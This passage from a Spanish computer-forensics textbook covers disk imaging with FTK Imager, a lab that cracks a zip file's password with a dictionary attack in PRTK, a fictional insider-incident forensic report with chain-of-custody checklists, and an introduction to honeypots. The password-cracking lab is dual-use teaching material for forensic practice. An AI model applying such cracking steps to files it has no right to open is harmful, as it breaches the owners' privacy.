Al hacer click sobre el disco se muestra un mapa de cmo esta particionado y que archivos/ficheros
contiene:

Se pueden ver 2 objetos borrados y 2 objetos que el usuario puede visualizar en el anlisis de los datos.
Paso 7: Elija los objetos a los que desea hacer la adquisicin de datos forense

Como se desea todo el disco entonces se debe posicionar el cursor sobre el dispositivo fsico y presionar el
botn derecho del mouse, en seguida se debe seleccionar la opcin Export Disk Image.

568

Parte V, Captulo 21 Investigacin/Computacin forense

Para saber el tiempo requerido para sta tarea se debe seleccionar la opcin Precalculate progress
Statistics, ahora se debe presionar el botn Add para elegir el formato de la adquisicin.
Paso 8: Elija el formato de adquisicin de salida como dd, smarth y EnCase

Paso 9: Haga la adquisicin de datos del disco investigado

569

Parte V, Captulo 21 Investigacin/Computacin forense

Si toma varios formatos de salida stos se construirn en paralelo, por ejemplo:

Este es el informe final de la herramienta por cada formato de salida que se elija:

Revise el espacio que cada formato consume:

570

Parte V, Captulo 21 Investigacin/Computacin forense

Conclusin:
El hecho de usar FTK Imager para hacer la adquisicin de datos no obliga al investigador a usar FTK pus en
realidad depende de la herramienta especfica que formatos puede leer.

Cuestionamientos

Existen diferencias respecto al tamao en disco para los formatos raw, smart y EnCase?
Se puede abrir el formato Smarth dentro de Encase?
Se puede abrir el formato Encase dentro del FTK Imager?
Se puede abrir el formato Linux dd dentro del FTK Imager?

571

Parte V, Captulo 21 Investigacin/Computacin forense

Laboratorio:
Recuperar la clave secreta de un archivo/fichero en formatos ms conocidos como pdf, winzip o word
Objetivo:

Conocer la herramienta PRTK

Recuperar la clave secreta de un objeto dentro del sistema operativo

Entender que una clave segura es muy difcil de romper


Fundamentos:

Access Data Password Recovery Toolkits requiere de una licencia de uso para poder recuperar los
formatos Word, Excel o pdf.

Por defecto esta herramienta no neceita licencia de uso para objetos en formato winzip.

Una clave segura no contiene palabras que existen de un diccionario, adems tiene como mnimo
una longitud de 8 caractres
Paso 1: Verifique donde se encuentra el objeto del caso Joe Jacob donde exista un objeto comprimido en
formato winzip con clave goodtimes.
Paso 2: Cargue el aplicativo PRTK
Paso 3: Cree un nuevo caso

Cree un nuevo caso con la opcin File, New case.


Paso 4: Adicione la evidencia que ser investigada

Elija el objeto Scheduled

Paso 5: Verificacin de existencia de claves

572

Parte V, Captulo 21 Investigacin/Computacin forense

PRTK analizar el cdigo de entrada para saber si tiene alguna clave para descifrar. Presione Next para
continuar.
Paso 6: Informe del ataque a ejecutar

Presione el botn Finish para iniciar el ataque por diccionarios.

573

Parte V, Captulo 21 Investigacin/Computacin forense

Efectivamente la clave es goodtimes.

Este es un reporte del tiempo y algoritmos utilizados.


Tareas adicionales

Cree un documento en PDF con la contrasea sistemas y el siguiente texto: Un


bloqueador de escritura es un dispositivo que no permite daar la evidencia.
Cree un documento en Microsoft Word con la contrasea sistemas, Inicie el procesador
de textos Word y digite el siguiente texto:Un bloqueador de escritura es un dispositivo
que no permite daar la evidencia.
Para cada documento se puede descubrir la clave con la herramienta PDRK?

574

Parte V, Captulo 21 Investigacin/Computacin forense

11.

Protocolo de comportamiento para una investigacin forense

No es fcil hacer una investigacin forense, pero no se debe dejar al azar la metodologa de presentacin o
documentacin de un incidente informtico, pues un juez ser muy duro y cruel contra la justificacin tcnica
de un ingeniero informtico que no tiene ni idea de los protocolos legales que si entienden los jueces que
regulan la justicia local de cada pas.
Existen varias metodologas para ayudar a realizar con xito una investigacin de evidencia digital, la ms
relevante es la metodologa CTOSE, que surge como resultado del proyecto homnimo y que ha sido
cofinanciado por la Unin Europea, diferentes universidades y empresas privadas relacionadas con las
buenas prcticas de la seguridad de la informacin.
Las tareas bsicas y mnimas que cualquier metodologa debera tener seran:

Identificacin y estudio preliminar


Adquisicin de datos
Anlisis de los datos
Documentacin de los resultados
Presentacin y defensa de los resultados

Para explicar este protocolo se propone hacer una practica que desde el punto de vista acadmico permita
simular un caso de la vida real y tratarlo de forma sistmica, veamos el contenido de este informe supuesto
por medio de un mecanismo acadmico denominado practica:

Practica:
Crear un procedimiento basado en un protocolo de comportamiento para hacer investigacin forense

Objetivo:

Establecer un protocolo de comportamiento ante una investigacin forense


Generar listas de chequeo que vuelvan deterministica la investigacin forense

Supuestos:

Empresa supuesta donde ocurri el incidente: GPS de Colombia


Supuesto Auditor forense que investigo el caso: globalteksecurity
Supuesto cliente de GPS Colombia: Fuerzas militares

*** Informacin Confidencial ***

Tipo de
documento

Informe de resultados para la investigacin forense realizada en GPS de Colombia

Clase de servicio

Investigacin de evidencia digital para el incidente ocurrido el sbado 2 de junio de


2007 en las instalaciones principales de GPS de Colombia

Fecha de
creacin

Junio 04 de 2007

Versin

1.0.0

Base de
requerimientos

RFP enviado por la direccin de TI de GPS de Colombia

Nota: Este documento es una simulacin o prueba de concepto mediante informe ejecutivo de cul es el
protocolo que se debe usar para hacer una investigacin forense.

575

Parte V, Captulo 21 Investigacin/Computacin forense

Las empresas y los personajes son ficticios, no existen en la vida real, y son inventados por el autor solo
para ilustrar una propuesta de protocolo de actuacin ante la investigacin de incidentes informticos que
podran terminar en casos penales.
En este caso acadmico se simulan la empresa GPS de Colombia, fuerzas militares de cualquier pas pero no
tienen ninguna relacin con las empresas y fuerzas militares de la vida real donde viven los posibles lectores
de este documento.

Problemtica de ejemplo
GPS de Colombia es una empresa de logstica de transporte pesado, se dedica al transporte de mercancas y
para ello dispone de una flota de camiones que se localizan a travs del uso del sistema de GPS en cada uno
de los camiones.
Esto les permite, gestionar la carga y descarga de camiones con una mayor eficiencia.
Los clientes tienen acceso a GPS de Colombia travs una pgina web en la que la gente que necesita utilizar
un camin para el transporte de diferentes mercancas se podra conectar a la pgina web e indicar que tiene
una mercanca para transportar de un punto X a un punto Y.
La empresa GPS de Colombia a travs de esta solicitud y con la informacin que posee de la localizacin de
sus camiones puede ofrecerla la posibilidad de disponer de un camin en un tiempo muy ajustado (puesto
que manda al camin que se encuentra ms cercano y libre de carga).
Para la realizacin de toda esta actividad, los sistemas de informacin que posee son:
Un conjunto de servidores que sirven para la gestin de toda su informacin, todos los sistemas de
informacin se basan en la utilizacin de tecnologa Windows.
A nivel de medidas de proteccin, la organizacin posee un sistema de seguridad perimetral (firewall) y un
detector de intrusin (IDS). Todos los equipos de la organizacin se encuentran sincronizados y a su vez,
todos y cada uno de ellos dejan y almacena logs que se guardan en el servidor de copias de seguridad.
El equipo responsable de seguridad de la organizacin la ha detectado la aparicin de "elementos extraos"
(software no autorizado) en el equipo del director comercial de la organizacin, que tiene acceso a toda la
Informacin crtica (informacin de clientes).
A la vez, tambin parece ser que el director tcnico ha perdido informacin que solo tena acceso l y que se
encontraba en un servidor centralizado (repositorio de archivos).
La direccin de GPS de Colombia ha decido contratar a un auditor en anlisis forense para que analice cmo,
cundo y por qu se dio el incidente informtico.

11.1.

Introduccin

En la fecha lunes 4 de junio de 2007, el equipo de manejo de incidentes de la organizacin GPS de Colombia,
ha detectado software no autorizado denominado ethereal en el equipo del Director comercial y perdida de
informacin en el servidor de ficheros/archivos, especficamente se han perdido archivos del director tcnico
de la organizacin, por este motivo se solicito la intervencin de un tercero experto para judicializar al
responsable, que para este caso es globalteksecurity, firma especializada en seguridad de la informacin.
El equipo de manejo de incidentes previo aviso de la lentitud del PC del rea comercial y de la prdida de
archivos del rea tcnica, ha revisado los logs del servidor de archivos/ficheros y encontr que el da sbado
2 de junio de 2007 a las 11:30AM, aparece que el ordenador/computador gerente_comercial con IP
192.168.100.55 se registro en el MS Active Directory y fue utilizado con el usuario tecnico01.
Este usuario tecnico01 no est autorizado para utilizar ese ordenador/computador, pero los logs muestran
registros donde aparece que a las 11:35AM copio hacia la carpeta c:\MovimientosGPS del
ordenador/computador
gerente
comercial
el
archivo/fichero
c:\Archivos
Compartidos\FAC\Junio2007\GPSHelicopteroFACBTV332.xls y luego a las 11:45AM lo borro del servidor de
archivos/ficheros.

576

Parte V, Captulo 21 Investigacin/Computacin forense

El equipo de atencin de incidentes ha clasificado este incidente como Posibilidad de fuga de datos de la
organizacin debido a que el equipo del gerente comercial no est autorizado a usar la cuenta del gerente
tcnico tecnico01.
Justificacin:
Esta es la evidencia que ha puesto en alarma al equipo de atencin de incidentes de GPS de Colombia, y
adems esta es la justificacin para contratar a un tercero experto que pueda corroborar las sospechas del
rea de seguridad de la informacin para poder judicializar al responsable, esto debido a que la informacin
borrada es altamente clasificada pues pertenece al contrato ms grande y crtico que tiene la organizacin,
es un contrato con las fuerzas Armadas de Colombia que podran impactar los ingresos de la organizacin, la
mayor preocupacin es que la informacin borrada tena que ver con las operaciones de reconocimiento anti
guerrilla de la flota de helicpteros.

11.2.0. Etapas de la investigacin forense en la empresa GPS de Colombia


11.2.1. Identificacin y estudio preliminar del incidente:
Debido a la posible prdida de imagen y el lucro cesante que se le presenta a la organizacin GPS de
Colombia ante su cliente principal las fuerzas armadas, globalteksecurity en acuerdo con GPS de Colombia
han determinado hacer una investigacin preliminar para responder a los objetivos de esta investigacin
forense.
Se firma un documento de confidencialidad con GPS de Colombia donde se compromete a proteger la
confidencialidad de la investigacin.
Para el estudio preliminar se establecieron las siguientes actividades:
11.2.1.1. Entrevista al personal involucrado:
Se entrevista al director comercial, el director tcnico y al grupo de manejo de incidentes para buscar
indicios de compromiso en cada persona con el incidente.
Se le pide al departamento legal de GPS de Colombia as como al sindicato de trabajadores la presencia de
un funcionario de cada rea en la entrevista con los directores comerciales y director tcnico.
Justificacin:
Al encarar a los supuestos acusados se hacen afirmaciones por parte del rea tcnica que inculpan a la
direccin del rea comercial. El rea comercial niega todas las acusaciones por parte del rea tcnica. El
representante del sindicato sugiere que se muestren las evidencias del caso para sustentar las acusaciones
del rea tcnica y para ello se ordena una auditoria o investigacin interna.
El grupo de atencin de incidentes muestra los logs a la auditora interna y esta se convence de que es
apremiante llevar el caso hasta las instancias judiciales.
Adems globalteksecurity encuentra que no se han firmado acuerdos de confidencialidad ni de deber de
secreto.
Nadie sabe o conoce ninguno de los principios de la Ley Orgnica de Proteccin de Datos Personales
Se le pide al rea jurdica y al representante del sindicato nos acompae en la obtencin de pruebas para
garantizar como organizacin la transparencia y legalidad de la obtencin de pruebas a nivel interno.

11.2.1.2 Identificacin de fuentes de informacin:


SERVIDOR DE LOGS (centralizado)
Windows 2003 Server R2, Enterprise Edition con Service Pack 2.
Usuarios con privilegios administrativos: Administrador
Firewall del servidor activado
Se encuentra en la zona militarizada o LAN de servidores
Est ligado al MS Active Directory del servidor de archivos/ficheros
Usa el software de correlacin de eventos Astaro Report Manager ARM

577

Parte V, Captulo 21 Investigacin/Computacin forense

SERVIDOR WEB
Windows 2003 Server R2, Enterprise Edition con Service Pack 2.
Usuarios con privilegios administrativos: Administrador
Firewall del servidor activado
No se encuentra activado el directorio activo como tampoco se encuentra pegado a un directorio
activo
Hay una base de datos de usuarios locales para darle acceso a los clientes externos
Se encuentra en la DMZ
SERVIDOR DE ARCHIVOS O FICHEROS
Windows 2003 Server R2, Enterprise Edition con Service Pack 2.
Usuarios con privilegios administrativos: Administrador
Firewall del servidor activado
Es el servidor que contiene el directorio activo para autenticar a los usuarios de la intranet, se
encuentran 173 usuarios
Se encuentra en la zona militarizada o LAN de servidores

EQUIPO DIRECTOR COMERCIAL


Windows XP Profesional con Service Pack 2
Usuario administrador: Administrador
El Firewall de Windows se encuentra activado.
Nota: Se hace una lista de las aplicaciones que se ejecutan y quienes estn autorizados para usarlas.
Justificacin:
Se trata de identificar con el mayor grado de detalle el marco de trabajo objeto de la investigacin forense.

11.2.1.3 Adquisicin de datos


La gerencia de GPS de Colombia por recomendacin de globalteksecurity dada la gravedad de la informacin
borrada, solicita la presencia de una autoridad legal competente, es decir un notario acompaado de un
perito en investigacin forense para que compruebe la veracidad de las pruebas a realizarse sin que se
afecten los derechos protegidos por la ley orgnica de proteccin de datos personales, los procesos llevados
a cabo en esta fase fueron:
Justificacin:
La gerencia de GPS de Colombia entiende que a pesar de que no se le ha informado a los funcionarios que
no podan utilizar sus equipos informticos para uso privado, su organizacin GPS de Colombia no debe
transgredir los derechos de proteccin de datos personales o Habeas Data porque el empleado podra
entablar demanda penal por el irrespeto a sus derechos.

11.2.1.3.1 Proteccin del sistema: El da lunes 4 de junio de 2007, se le pide al personal no laborar en
sus respectivos computadores de 8:00Am a 12M, para no contaminar la evidencia, en especial el servidor de
archivos/ficheros y la estacin de la gerencia comercial que se est tornando ms lenta a medida que pasa el
tiempo. Se apagan los puntos de acceso wireless. Se toman fotos de la pantalla de la estacin de trabajo del
gerente comercial as como del servidor de archivos/ficheros y se apagan fsicamente desconectndolos de la
corriente elctrica.
Se diligencian lista de chequeo proteccin del sistema ver anexo 1.

11.2.1.3.2 Bsqueda de evidencia: Se eligen por sospechas de contener evidencia digital los siguientes
elementos: Estacin de trabajo de la gerencia comercial, servidor de archivos/ e impresoras y servidor
centralizado de logs.
Se buscan dispositivos de almacenamiento sospechosos y llama la atencin una memoria USB conectada a la
estacin de trabajo de la gerencia comercial.
Se diligencian lista de chequeo Bsqueda de evidencia ver anexo 2.

578

Parte V, Captulo 21 Investigacin/Computacin forense

11.2.1.3.3 Aseguramiento del sistema: Se etiquetan por sospechas de contener evidencia digital los
siguientes elementos:

Estacin de trabajo de la gerencia comercial, EVI001


Memoria USB externa de 1GB, EVI002
Servidor de archivos/impresoras, EVI003,
y el servidor centralizado de logs, EVI004.

Se toman fotos por todos los costados de los elementos de investigacin y de su entorno.
Se diligencian lista de chequeo aseguramiento del sistema ver anexo 3.

11.2.1.3.4 Recogida de datos: Para cada medio magntico etiquetado se le hace copia bit a bit, luego se
calcula la funcin de dispersin o hash md5sum y sha1sum para garantizar la integridad de los datos.
Nota: No se le debe hacer copia a las carpetas personales del usuario especficamente a los directorios Mis
documentos del sistema para no transgredir los derechos protegidos por la ley LOPDP.
El Live CD que usa el analista es el Linux backtrack versin 2
La herramienta utilizada para hacer las copias bit a bits es dd
Las funciones hash se calcula con las herramientas sha1sum y md5sum.
Se hacen 3 copias en DVD y se firman digitalmente ante notario. Una de las copias se deja en
custodia del notario.
Se diligencian lista de chequeo recogida de datos ver anexo 4.
Se documenta en paralelo el proceso de adquisicin detallando al mximo las acciones, actores y materiales
que intervienen.
Justificacin:
Se utilizan las funciones de hash md5 y hash1 para que cualquier investigador forense pueda corroborar por
cualquier mtodo la integridad de la prueba. Se le pide al notario, al perito delegado, al representante del
sindicato de empleados y al auditor interno que firmen las actas respectivas con su aprobacin de la
metodologa aplicada.

11.2.1.3.5 Transporte a Globaltek para el posterior anlisis: Se contrata un transporte de valores con
experiencia que llevara los medios magnticos hasta la oficina de Globaltek para hacer el anlisis respectivo.
Se verifica que no haya equipos de radio o elementos que puedan daar la informacin de los discos.
11.2.1.3.6 Almacenamiento en las oficinas de Globaltek: Bajo acceso restringido se guardan en una
bodega especializada para contener evidencia digital.
Se siguen las recomendaciones de la norma ISO 17799:2005 apartado 10.7 Media handling
Se diligencian lista de chequeo Almacenamiento ver anexo 5

Justificacin:
Con el abogado representante de GPS de Colombia se tiene la hiptesis que este es un proceso laboral por
ello se documenta sobre todo el proceso de adquisicin con un muy alto grado de detalle para justificar las
pruebas ante un proceso penal. En especial se debe garantizar que otro investigador a partir de las muestras
pueda llegar al mismo resultado. Pero lo ms importante que se concluye con el abogado es que no debemos
obtener las pruebas sin las cautelas procedimentales necesarias para garantizar su validez posterior as
como el no transgredir los derechos fundamentales del empleado en cuestin.

11.2.1.4 Anlisis de datos


-

SleuthKit/autopsy, herramienta de anlisis forense nativa de Linux Backtrack.

579

Parte V, Captulo 21 Investigacin/Computacin forense

Para buscar patrones especficos se utilizo string y find


Se utiliz el antivirus Clamav para buscar virus y malware
Para hacer anlisis en vivo en el laboratorio se utilizo VMware Work station versin 6 con su
respectiva licencia a nombre de Armando carvajal como auditor
Herramientas de Sysinternals: autoruns, RootkitRevealer y psloglist

Justificacin: La mayora del software utilizado es software libre debido a la gran aceptacin mundial de las
herramientas para investigacin forense

11.2.1.5

Hiptesis de la investigacin forense

11.2.1.5.1

Prueba nmero 1: Lo revelado por el servidor de logs, es cierto:

Efectivamente los logs del servidor de archivos/ficheros muestran que el da sbado 2 de junio a las
11:30AM, el ordenador/computador gerente_comercial con IP 192.168.100.55 se registr en el MS Active
Directory y se utilizo con el usuario tecnico01.
Este usuario tecnico01 no est autorizado para utilizar ese ordenador/computador, pero los logs muestran
registros donde aparece que a las 11:35AM copio hacia la carpeta c:\MovimientosGPS del
ordenador/computador
gerente
comercial
el
archivo/fichero
c:\Archivos
Compartidos\FAC\Junio2007\GPSHelicopteroFACBTV332.xls y luego a las 11:45AM lo borro del servidor de
archivos/ficheros.
Se rectifica en este informe que este fichero/archivo no estaba en una carpeta de archivos personales y por
lo tanto no se est violando la ley LOPDP.
Lgicamente el archivo esta borrado en el servidor pero las herramientas forenses muestran que el archivo
existe fsicamente y que se pudo recuperar en el servidor de archivos/ficheros. Este archivo muestra las
trazas con las coordenadas GPS del movimiento del helicptero con matricula BTV332 en alguna regin de
Colombia.

11.2.1.5.2

Prueba numero 2: Archivo/fichero residente en la estacin del sospechoso

Adems se encuentra el archivo/fichero GPSHelicopteroFACBTV332.xls si existe en la estacin de la gerencia


comercial en la carpeta c:\MovimientosGPS.
Esto lo convierte en una prueba de que la gerencia comercial si tuvo acceso y que esta persona borro
intencionalmente el archivo/fichero en mencin, pero no explica como hizo para obtener la cuenta del
usuario tecnico01.
Se rectifica en este informe que este archivo/fichero no estaba en una carpeta de archivos personales y por
lo tanto no se est violando la ley LOPDP.

11.2.1.5.3

Prueba numero 3: Archivo/fichero residente en la memoria USB

Otra prueba contundente es una copia del mencionado fichero/archivo en la memoria USB de la gerencia
comercial en la raz del directorio principal de la memoria USB.
Se rectifica en este informe que este archivo/fichero no estaba en una carpeta de archivos personales y por
lo tanto no se est violando la ley LOPDP.

11.2.1.5.4

Prueba numero 4: Suplantacin de usuario tecnico01

Se encuentra en la estacin gerente_comercial una copia no autorizada del software ethereral.


El software ethereal es un programa que permite ver el trfico en claro que circunda por la red como
usuarios, claves y datos.
Entonces la estacin gerente_comercial vio por medio del sniffer o ethereal cual era la clave del usuario
tecnico01 que si est autorizado para acceder y borrar archivos/ficheros de los transmisores GPS que se
transmiten por la red hacia el servidor de archivos/ficheros.

580

Parte V, Captulo 21 Investigacin/Computacin forense

Esta prueba es muy fuerte porque la respalda un archivo en formato Word encontrado en el disco de la
mencionada estacin que contiene informacin que revela las claves de muchos usuarios y en particular
muestra que la clave del usuario tecnico01 que es sistemas2006
Se rectifica en este informe que este archivo/fichero Word no estaba en una carpeta de archivos personales
y por lo tanto no se est violando la ley LOPDP.
Se almacenan las pruebas en un DVD con los siguientes nombres:

Archivo/fichero con la Prueba


Prueba1.doc
Prueba2.doc
Prueba3.doc
Prueba4.doc

Hash que garantiza la integridad


Prueba1.doc.sha1, Prueba1.doc.md5
Prueba2.doc.sha1, Prueba2.doc.md5
Prueba3.doc.sha1, Prueba3.doc.md5
Prueba4.doc.sha1, Prueba4.doc.md5

Se hacen 3 copias en DVD y se firman digitalmente ante notario. Una de las copias se deja en custodia del
notario.
Justificacin:

Se hace el anlisis de datos sin transgredir la ley LOPDP pues no se han obtenido muestras de datos
personales de sus respectivas carpetas.
Sin estas pruebas no se puede construir un caso ante la justicia laboral, civil y penal.
Si se llegase a transgredir la LOPDP las pruebas no serian validas ante el juez.

11.3.0 Presentacin y defensa

Se dictamina basados en las pruebas forenses que el gerente comercial mediante una utilidad de
escucha no autorizada llamada ethereal obtuvo la clave del usuario tecnico01. Ver prueba4.doc
Acto seguido suplanto al director tcnico y copio el archivo a su estacin de trabajo. Ver
prueba4.doc
Luego lo borro del servidor de archivos/ficheros. Ver prueba1.doc
Luego lo copia a una memoria USB pero no se sabe con qu intencin. Ver prueba3.doc
Se tiene la hiptesis de que el usuario gerente comercial es un empleado descontento con la
organizacin GPS de Colombia en especial con el director tcnico
Esta investigacin siempre tuvo en cuenta la LOPDP para no transgredir los derechos fundamentales
del empleado
Todas las pruebas fueron documentadas para que el juez pueda tomar la mejor decisin basados en
la verdad

Justificacin:

Se debe anexar al informe la matricula profesional, los diplomas y la experiencia impresa que
garanticen a las partes en cuestin que el tcnico en investigacin forense es un profesional
certificado y adecuado
La cadena de custodia se debe preservar para garantizar la no modificacin de las pruebas
No transgredir las leyes y normas, estas siempre deben ser la primera preocupacin del
investigador forense para que el caso no se pueda caer

11.4.0 Conclusiones

Si hubo una intrusin por parte de un empleado interno descontento, se anexan las pruebas
GPS de Colombia cuenta con un excelente equipo de atencin a incidentes dado que ha respondido
adecuadamente a las alarmas de los logs/bitcoras respecto a la deteccin de ataques
La informacin critica borrada fue recuperada con las herramientas forenses respectivas
Se tiene un caso muy fuerte contra la gerencia comercial y nicamente el juez podr dar fallo
basado en las pruebas forenses que no transgredieron los derechos fundamentales de las personas

581

Parte V, Captulo 21 Investigacin/Computacin forense

La documentacin de procesos de actuacin fue muy acertada pues la informacin fue preservada
para la posterior investigacin forense, es decir no se permiti el trabajo diario en los elementos
afectados por el incidente
El impacto real del incidente fue grave ya que se demostr que la informacin borrada del servidor
de ficheros corresponda con la informacin tcnica de los vuelos de reconocimiento de las fuerzas
militares, un cliente muy importante que requiere de alta confidencialidad para el negocio de GPS
de Colombia

11.5.0 Recomendaciones (medidas correctivas)

Se recomienda firmar acuerdos de confidencialidad y de guardar secreto de la informacin de los


clientes de la organizacin con cada funcionario
Se recomienda firmar acuerdos con cada funcionario de no utilizar los recursos computacionales de
la organizacin para uso personal
Se recomienda la instalacin de un HIDS (Host intrusin detection systems) activo es decir que se
comunique con el firewall para que en forma reactiva el firewall deniegue el acceso a los IP de los
ataques y se puede tener mejor monitorizacin y control preventivo sobre los sistemas crticos
Se recomienda la adquisicin de un sistema centralizado de actualizaciones de suplementos para los
sistemas operativos, esto evitara por ejemplo que el servidor web vuelva a ser vulnerable
habindose liberado el parche respectivo
Un software de virtualizacion sera interesante para la reconstruccin en lnea de los incidentes
Se le debe pasar una copia del reporte del incidente a las fuerzas militares colombianas para
generarles confianza del buen servicio que presta GPS de Colombia, donde se explique que el
control de los incidentes es un valor critico que la organizacin provee a sus clientes
Se deben reinstalar de inmediato el servidor de archivos y el PC de la direccin comercial para
evitar comportamientos extraos por modificacin del software
Se debe instalar un control antimalware de tipo Gateway para evitar la introduccin de malware en
los PC y servidores Windows.

Justificacin:
La LOPDP le garantiza al trabajador que la empresa no debe transgredir sus derechos pero la
organizacin puede limitar al empleado mediante acuerdos firmados con cada funcionario para que no
utilice en forma inadecuada sus recursos.
Las medidas correctivas propuestas son crticas para que el incidente no se vuelva a presentar

582

Parte V, Captulo 21 Investigacin/Computacin forense

11.6.0 Anexos de la investigacin forense (listas de chequeo)


Anexo 1 - Lista de chequeo Proteccin del sistema

Item

Accin que se debe ejecutar

1.

Mantener a
investigacin

2.

No permitir el uso de ningn dispositivo con tecnologa inalmbrica


por ninguna de las personas presentes

3.

Pedir a las personas implicadas la informacin que permita rellenar


el siguiente cuestionario sobre el sistema bajo investigacin:

4.

cualquier

persona

OK
alejada

del

sistema

bajo

Nombre
Identificacin
Descripcin del sistema
Modelo del sistema
Dimensiones del sistema
Elementos identificativos del sistema
Descripcin del hardware del sistema
Sistema operativo del sistema
Software relevante que ejecutaba el sistema
Uso del sistema
Nombre e identificacin del usuario que usa el sistema
Contraseas del sistema tanto de usuarios de aplicaciones
Acciones que se han llevado a cabo en el sistema desde el
conocimiento del incidente

Apagar el sistema mediante la desconexin directa del cable de


potencia.
Si el sistema se encuentra encendido y es visible que est
ejecutando algn proceso que pueda destruir la informacin que
almacena, se debe desconectar de inmediato la corriente del
dispositivo

5.

Descripcin del sistema que ha llevado a la desconexin de ste.

6.

Si el sistema se encuentra encendido, identificar, documentar y


fotografiar la salida que se est generando

583

Observacin

Parte V, Captulo 21 Investigacin/Computacin forense

Anexo 2 - Lista de chequeo Bsqueda de evidencia

Item

Accin que se debe ejecutar

1.

Descripcin del sistema

2.

Modelo del sistema

3.

Dimensiones del sistema

4.

Identificador para el sistema

5.

Conexiones del sistema para identificar cualquier medio de


almacenamiento (disco duro) que pueda contener evidencias

6.

Descripcin del disco duro

7.

Modelo y dimensiones del disco duro

8.

Elementos identificativos del disco duro

9.

Elementos identificativos del disco duro

OK

Observacin

OK

Observacin

Anexo 3 - Lista de chequeo Aseguramiento del sistema

Item

Accin que se debe ejecutar

1.

Retirar cualquier medio de almacenamiento como memorias USB,


CD, DVD y cualquier otro tipo de dispositivo de almacenamiento
que se pueda encontrar en las bahas del sistema

2.

Desconectar cualquier cable telefnico, de red, o medios


inalmbricos

3.

Tomar fotografas del lugar donde se encuentra el sistema bajo


estudio

4.

Tomar fotografas de los alrededores donde se encuentra el


sistema bajo estudio

5.

Descripcin de los alrededores donde se encuentra el sistema bajo


estudio

6.

Tomar fotografas del sistema por los cuatro costados asegurando


de que se vean todos sus conectores y conexiones fsicas, es
especial tomar una fotografa de la consola del sistema para ver
qu proceso se estaba ejecutando en el momento del
aseguramiento del sistema

7.

Tomar fotografas del disco duro que incluya las dos caras y por el
lateral de los conectores, haciendo nfasis en los conectores y
switches de configuracin

584

Parte V, Captulo 21 Investigacin/Computacin forense

585

Parte V, Captulo 21 Investigacin/Computacin forense

Anexo 4 - Lista de chequeo recogida de datos

Item
1.

Accin que se debe ejecutar

OK

Observacin

OK

Observacin

Utilizar un disco USB recin formateado que tenga mayor


capacidad que el disco del cual se va a hacer la adquisicin de
datos.
Indicar:

2.

Descripcin del disco duro


Modelo del disco duro
Dimensiones del disco duro
Elementos identificativos del disco duro
Identificador para el disco duro

Si el sistema no dispone de conector USB, se debe utilizar un cable


de red cruzado para conectar directamente el sistema bajo
investigacin con el sistema del analista forense.
En la estacin forense se conectar el disco en el que se van a
almacenar los datos de la adquisicin, Indicar:

Descripcin del sistema


Modelo del sistema
Dimensiones del sistema
Elementos identificativos del sistema
Identificador para el sistema

3.

Arrancar el sistema desde la maquina bajo investigacin, debe


arrancar exclusivamente del Live CD back Track 2.0 del analista.
Indicar:
CD del analista
Contenido (y versin del Live CD)
Dimensiones del Live CD
Identificador para el Live CD

4.

Generar un hash SHA1 y MD5 del disco duro del que se realiza la
adquisicin de datos.
Verificar el Hash SHA1 y MD5 del disco duro de adquisicin

5.

Llevar a cabo la adquisicin de datos mediante el uso de la


herramienta dd.
Si los datos se han de transferir mediante un cable de red cruzado
hasta el equipo del analista, utilizar la herramienta Netcat.
Calcular:
Hash SHA1 y MD5 de la imagen y verificar HASH

Anexo 5 - Lista de chequeo Almacenamiento

Item

Accin que se debe ejecutar

1.

586

Parte V, Captulo 21 Investigacin/Computacin forense

Se guardan en una bodega especializada para contener evidencia


digital.
2.

Se siguen las recomendaciones de la norma ISO 17799:2005


apartado 10.7 Media handling

3.

El rea de almacenamiento cumple los siguientes requisitos:


rea limpia
rea con temperatura regulada
rea de acceso restringido

12.0

Investigador
Investigacin forense documentada por:

Armando Carvajal
Lder de anlisis Forense
Globaltek Security Tecnologas globales para la seguridad de la informacin
Email: armando.carvajal@globalteksecurity.com

13.0

Bibliografa
Real Digital Forensics, Keith J. Jones, Addison-Wesley, 2006.
Revista Sistemas, Acis # 96, Jeimy Cano, abril-junio 2006
Metodologas y fases de la investigacin forense, Daniel Cruz Allende, www.uoc.edu, 2006
Torres falkonert, Daniel Andres, Tcnicas de Informtica Forense en la investigacin de delitos de
alta tecnologa, sep 2003
Casey, Eoghan, digital Evidence and computer crime, 2000

587

Captulo 22
Honeypots: Conociendo al enemigo

1.0

Honeypot

Se define Honeypot como un recurso de red destinado a ser atacado y comprometido, este ser examinado,
atacado y seguramente comprometido por el atacante. El honeypot proporciona informacin sobre el
atacante antes de que se comprometan los sistemas reales

Definicin de honeypot
 Se

define Honeypot como un recurso de


red destinado a ser atacado y
comprometido, este ser examinado,
atacado y seguramente comprometido
por el atacante.
 El honeypot proporciona informacin
sobre el atacante antes de que se
comprometan los sistemas reales

2.0

Que no hace un Honeypot

No sirve para eliminar o corregir fallos de seguridad existentes


Si la red es vulnerable, aadir un Honeypot no resolver esas fallas
Evitar que un atacante fije su inters en nuestra red

588

Parte V, Captulo 22 Honeypots, conociendo al enemigo

3.0

Caractersticas de un Honeypot

4.0

Genera un volumen pequeo de datos


No existen los falsos positivos
Necesitan recursos informticos mnimos
Son elementos pasivos
Son fuentes potenciales de riesgo para la red
Usan una direccin IP como mnimo
Los Honeypots tienen un limitado carcter preventivo
Tienen un alto grado de deteccin por los intrusos de ah que son conocidos como tarros de miel
Son programables en cuanto a la reaccin contra el atacante

Taxonomia de los honeypots

Honeypot de produccin (Production Honeypot System)


Honeypot de investigacin (Research Honeypot System)

Clasificacin o taxonomia
Taxonomia de los honeypots
 Honeypot de produccin (Production
Honeypot System)
 Honeypot de investigacin (Research
Honeypot System)


589

Parte V, Captulo 22 Honeypots, conociendo al enemigo

5.0

Ubicacin en el permetro

Antes del firewall: Esta localizacin es la que menos riesgo suministra a la red. Como este se
encuentra fuera de la zona protegida por el firewall, puede ser atacado sin ningn tipo de peligro
para el resto de la red

590

Parte V, Captulo 22 Honeypots, conociendo al enemigo

Detrs del firewall: El acceso al Honeypot esta dirigido por las reglas de filtrado del firewall, su
ubicacin permite la deteccin de los atacantes internos, los firewalls mal configurados, las
mquinas infectadas por gusanos y los atacantes externos

591

Parte V, Captulo 22 Honeypots, conociendo al enemigo

6.0

En la zona desmilitarizada: Es la ubicacin ideal pues permite detectar ataques externos e


internos con una reconfiguracin del firewall.

Repercusiones legales

El abogado Carlos Santiago lvarez Cabrera en su artculo Honeypots Aspectos penales, Colombia,
Diciembre de 2005, http://cyberlaws.blogspot.com, concluye respecto de las vulnerabilidades, que:
La velocidad de los ataques esta en constante incremento debido a los 0 days vulnerabilityes.
